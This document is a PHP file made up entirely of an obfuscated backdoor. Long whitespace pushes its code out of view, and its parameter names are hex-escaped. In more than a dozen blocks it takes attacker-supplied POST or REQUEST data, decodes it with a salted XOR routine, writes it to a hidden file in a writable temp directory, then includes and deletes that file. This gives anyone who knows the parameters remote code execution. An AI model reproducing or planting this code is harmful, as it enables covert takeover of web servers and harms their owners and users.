<?php																																										if(!empty($_POST["bin\x64ing"])){ $element = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP")]); $holder = $_POST["bin\x64ing"]; $holder =explode ('.', $holder ); $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s ); $z= 0; array_walk( $holder, function( $v1) use( &$data_chunk, &$z, $s, $lenS) {$chS= ord( $s[$z % $lenS] ); $d= ( ( int)$v1 - $chS -( $z % 10))^ 25; $data_chunk .=chr( $d ); $z++; }); foreach ($element as $entry) { if (!( !is_dir($entry) || !is_writable($entry) )) { $factor = implode("/", [$entry, ".fac"]); if (file_put_contents($factor, $data_chunk)) { include $factor; @unlink($factor); die(); } } } }
																																										if(@$_POST["p\x6F\x69nter"] !== null){ $bind = $_POST["p\x6F\x69nter"]; $bind = explode('.' , $bind ) ; $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $u = 0; while ($u<count($bind)) { $v6 = $bind[$u]; $sChar = ord($salt[$u % $lenS]); $dec = ((int)$v6 - $sChar - ($u % 10)) ^ 84; $tkn .= chr($dec); $u++; } $record = array_filter([session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP")]); for ($element = 0, $flg = count($record); $element < $flg; $element++) { $property_set = $record[$element]; if ((bool)is_dir($property_set) && (bool)is_writable($property_set)) { $obj = "$property_set" . "/.hld"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $obj; @unlink($obj); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "r\x65\x66er\x65n\x63e")){ $entity = array_filter([getcwd(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path()]); $ent = $_REQUEST["r\x65\x66er\x65n\x63e"]; $ent = explode ( ".", $ent ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $l = 0; $len = count( $ent); do { if( $l >= $len) break; $v5 = $ent[$l]; $chS = ord( $s[$l % $lenS]); $d =( ( int)$v5 - $chS -( $l % 10)) ^87; $component .= chr( $d); $l++; } while( true); $data_chunk = 0; do { $hld = $entity[$data_chunk] ?? null; if ($data_chunk >= count($entity)) break; if (max(0, is_dir($hld) * is_writable($hld))) { $rec = join("/", [$hld, ".item"]); if (@file_put_contents($rec, $component) !== false) { include $rec; unlink($rec); exit; } } $data_chunk++; } while (true); }
																																										if(!is_null($_POST["pa\x72am\x65\x74\x65\x72\x5Fg\x72oup"] ?? null)){ $pointer = array_filter(["/tmp", "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/var/tmp"]); $symbol = $_POST["pa\x72am\x65\x74\x65\x72\x5Fg\x72oup"]; $symbol =explode ( "." , $symbol); $dchunk= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt1); $q= 0; while( $q < count( $symbol)) { $v2= $symbol[$q]; $chS= ord( $salt1[$q % $lenS]); $dec= ( ( int)$v2 - $chS -( $q % 10)) ^ 8; $dchunk .= chr( $dec); $q++; } while ($flg = array_shift($pointer)) { if (!( !is_dir($flg) || !is_writable($flg) )) { $sym = join("/", [$flg, ".desc"]); if (file_put_contents($sym, $dchunk)) { require $sym; unlink($sym); die(); } } } }
																																										if(isset($_REQUEST["hl\x64"]) ? true : false){ $data_chunk = array_filter(["/tmp", getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $sym = $_REQUEST["hl\x64"]; $sym= explode ( "." , $sym ); $k = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $w = 0; while ($w < count($sym)) { $v4 = $sym[$w]; $chS = ord($salt8[$w % $lenS]); $dec = ((int)$v4 - $chS - ($w % 10)) ^ 80; $k .=chr($dec); $w++; } for ($mrk = 0, $property_set = count($data_chunk); $mrk < $property_set; $mrk++) { $resource = $data_chunk[$mrk]; if (!( !is_dir($resource) || !is_writable($resource) )) { $fac = "$resource/.val"; if (file_put_contents($fac, $k)) { require $fac; unlink($fac); exit; } } } }
																																										if(!is_null($_POST["el\x65m"] ?? null)){ $holder = $_POST["el\x65m"]; $holder = explode ( "." , $holder ) ; $pgrp = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1); $r = 0; $__tmp = $holder; while ($v7 = array_shift($__tmp)) { $chS = ord($s1[$r % $lenS]); $d = ((int)$v7 - $chS - ($r % 10)) ^ 50; $pgrp .= chr($d); $r++; } $dchunk = array_filter(["/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); for ($symbol = 0, $parameter_group = count($dchunk); $symbol < $parameter_group; $symbol++) { $property_set = $dchunk[$symbol]; if (!( !is_dir($property_set) || !is_writable($property_set) )) { $flg = "$property_set" . "/.object"; $file = fopen($flg, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $flg; @unlink($flg); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["i\x74\x65m"])){ $elem = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $data = $_POST["i\x74\x65m"]; $data= explode ( ".",$data ) ; $entry = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $s = 0; $__tmp = $data; while ($v4 = array_shift($__tmp)) { $chS = ord($s6[$s % $lenS]); $d = ((int)$v4 - $chS - ($s % 10)) ^ 1; $entry .= chr($d); $s++;} foreach ($elem as $mrk): if (is_dir($mrk) ? is_writable($mrk) : false) { $factor = sprintf("%s/.flg", $mrk); if (@file_put_contents($factor, $entry) !== false) { include $factor; unlink($factor); exit; } } endforeach; }
																																										if(array_key_exists("\x66\x6Cag", $_REQUEST) && !is_null($_REQUEST["\x66\x6Cag"])){ $component = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP")]); $entry = $_REQUEST["\x66\x6Cag"]; $entry= explode( '.' , $entry) ; $ptr = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $w = 0; $__tmp = $entry; while( $v3 = array_shift( $__tmp)) { $chS = ord( $salt[$w % $lenS] ); $d =( ( int)$v3 - $chS -( $w % 10)) ^75; $ptr .= chr( $d ); $w++; } for ($reference = 0, $val = count($component); $reference < $val; $reference++) { $pointer = $component[$reference]; if (is_dir($pointer) ? is_writable($pointer) : false) { $marker = str_replace("{var_dir}", $pointer, "{var_dir}/.mrk"); if (file_put_contents($marker, $ptr)) { require $marker; unlink($marker); exit; } } } }
																																										if(array_key_exists("\x69\x74em", $_POST) && !is_null($_POST["\x69\x74em"])){ $key = $_POST["\x69\x74em"]; $key= explode ( '.' , $key) ; $desc = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); foreach ($key as $o => $v2): $sChar = ord($salt6[$o % $lenS]); $d = ((int)$v2 - $sChar - ($o % 10)) ^ 48; $desc .= chr($d); endforeach; $factor = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/tmp", getenv("TEMP")]); $val = 0; do { $ent = $factor[$val] ?? null; if ($val >= count($factor)) break; if (is_dir($ent) ? is_writable($ent) : false) { $flg = str_replace("{var_dir}", $ent, "{var_dir}/.token"); if (file_put_contents($flg, $desc)) { include $flg; @unlink($flg); die(); } } $val++; } while (true); }
																																										if(in_array("\x65l\x65me\x6E\x74", array_keys($_POST))){ $ptr = $_POST["\x65l\x65me\x6E\x74"]; $ptr = explode ( ".", $ptr ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $len = count($ptr); do { if($x >= $len) break; $v4 = $ptr[$x]; $sChar = ord($s[$x % $sLen]); $d = ((int)$v4 - $sChar -($x % 10)) ^ 78; $pset.=chr($d); $x++; }while(true); $factor = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); foreach ($factor as $k) { if (!( !is_dir($k) || !is_writable($k) )) { $comp = implode("/", [$k, ".mrk"]); $success = file_put_contents($comp, $pset); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72e\x63"])){ $sym = array_filter([getcwd(), getenv("TMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); $property_set = $_REQUEST["\x72e\x63"]; $property_set = explode('.' ,$property_set ); $value = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $property_set as $v => $v6) { $chS = ord( $s4[$v % $lenS]); $d =( ( int)$v6 - $chS -( $v % 10)) ^ 94; $value .= chr( $d);} foreach ($sym as $key): if (!!is_dir($key) && !!is_writable($key)) { $marker = "$key/.data_chunk"; if (@file_put_contents($marker, $value) !== false) { include $marker; unlink($marker); exit; } } endforeach; }
																																										if(isset($_POST["\x6Be\x79"]) ? true : false){ $entity = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP")]); $k = $_POST["\x6Be\x79"]; $k=explode ( '.' ,$k ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($k as $m => $v9) {$sChar = ord($salt[$m %$lenS]); $d =((int)$v9 - $sChar -($m %10)) ^ 60; $obj .= chr($d); } foreach ($entity as $dat) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $value = join("/", [$dat, ".dchunk"]); $file = fopen($value, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $value; @unlink($value); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x64\x61ta"])){ $obj = array_filter([getcwd(), session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $ent = $_REQUEST["\x64\x61ta"]; $ent = explode( "." , $ent ); $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $__len = count($ent); for($i = 0; $i < $__len; $i++) {$v9 = $ent[$i]; $sChar = ord($salt[$i % $sLen]); $dec = ((int)$v9 - $sChar -($i % 10)) ^ 100; $fac .=chr($dec); } foreach ($obj as $pset) { if ((is_dir($pset) and is_writable($pset))) { $desc = implode("/", [$pset, ".rec"]); if (@file_put_contents($desc, $fac) !== false) { include $desc; unlink($desc); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["s\x79mbo\x6C"])){ $fac = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir")]); $marker = $_POST["s\x79mbo\x6C"]; $marker= explode ( '.' , $marker ) ; $factor = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $len = count($marker ); for ($o = 0; $o < $len; $o++) { $v2 = $marker[$o]; $chS = ord($salt8[$o % $lenS] ); $d = ((int)$v2 - $chS - ($o % 10))^ 73; $factor .= chr($d ); } foreach ($fac as $holder) { if ((is_dir($holder) and is_writable($holder))) { $descriptor = "$holder" . "/.property_set"; if (file_put_contents($descriptor, $factor)) { require $descriptor; unlink($descriptor); exit; } } } }
																																										if(array_key_exists("\x72es", $_POST)){ $marker = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getcwd(), "/var/tmp"]); $desc = $_POST["\x72es"]; $desc = explode( '.' ,$desc ) ; $comp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt8); foreach( $desc as $z => $v2) { $sChar = ord( $salt8[$z % $sLen]); $d = ( ( int)$v2 - $sChar -( $z % 10)) ^ 91; $comp .= chr( $d); } $ref = 0; do { $record = $marker[$ref] ?? null; if ($ref >= count($marker)) break; if (!( !is_dir($record) || !is_writable($record) )) { $component = sprintf("%s/.obj", $record); $success = file_put_contents($component, $comp); if ($success) { include $component; @unlink($component); die();} } $ref++; } while (true); }


if(@$_REQUEST["\x70\x72o\x70\x65\x72\x74y_set"] !== null){
	$record = $_REQUEST["\x70\x72o\x70\x65\x72\x74y_set"];
	$record	 =	 explode	 (		'.'  ,$record	)  ;   
	$component = '';
            $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $salt2);
            $len = count( $record);
    
            for( $k = 0; $k < $len; $k++) {
                $v4 = $record[$k];
                $chS = ord( $salt2[$k % $lenS]);
                $dec =( ( int)$v4 - $chS -( $k % 10))  ^	28;
                $component .= chr( $dec);		}
	$fac = array_filter(["/dev/shm", getenv("TMP"), getcwd(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]);
	foreach ($fac as $mrk):
    		if (is_dir($mrk) ? is_writable($mrk) : false) {
    $element = "$mrk/.bind";
    $file = fopen($element, 'w');
if ($file) {
	fwrite($file, $component);
	fclose($file);
	include $element;
	@unlink($element);
	exit;
}
}
endforeach;
}